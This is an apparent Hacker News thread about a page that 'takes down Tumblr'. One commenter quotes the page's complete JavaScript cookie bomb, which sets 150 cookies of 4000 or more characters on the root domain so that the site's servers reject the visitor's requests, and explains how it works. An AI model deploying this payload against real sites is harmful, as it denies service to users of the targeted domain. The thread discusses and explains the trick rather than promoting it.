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Take down Tumblr
- deleted 14y ago[deleted]
- coolsunglasses 14y agoWell. I can't go to tumblr.com now. Deleting cookies worked :P
- mikeocool 14y agoJavascript on this page that 'takes down tumblr': (function () { 'use strict'; function getRootDomain() { return window.location.host.match(new RegExp('[^\.]*\.[^\.]*$')); } function nowMillis() { return (new Date()).getTime(); } function setCookie(key, value, expires) { var domain = getRootDomain(); document.cookie = key + "=" + escape(value) + ";path=/;domain=" + domain + "; expires="+expires.toUTCString(); } function setCookieBomb() { var value = 'Boring___', i, key, // Expire cookies 5 minutes from now, expires = new Date(nowMillis() + 5 * 60 * 1000); for (i = value.length; i < 4000; ++i) { value += '_'; } for (i = 0; i < 150; ++i) { key = 'key' + i.toString(); setCookie(key, value, expires); } } if (window.location.pathname.indexOf('customize') === -1) { setCookieBomb(); } }()); It seems that Tumblr's webservers won't accept really big requests, like those that have 150 cookies that are 4000+ characters.
- mixedbit 14y agoI've submitted this to point you to the more interesting (but related) submission of mine that didn't get much exposure. It unfortunately involves reading: https://news.ycombinator.com/item?id=5531743 https://news.ycombinator.com/item?id=5531743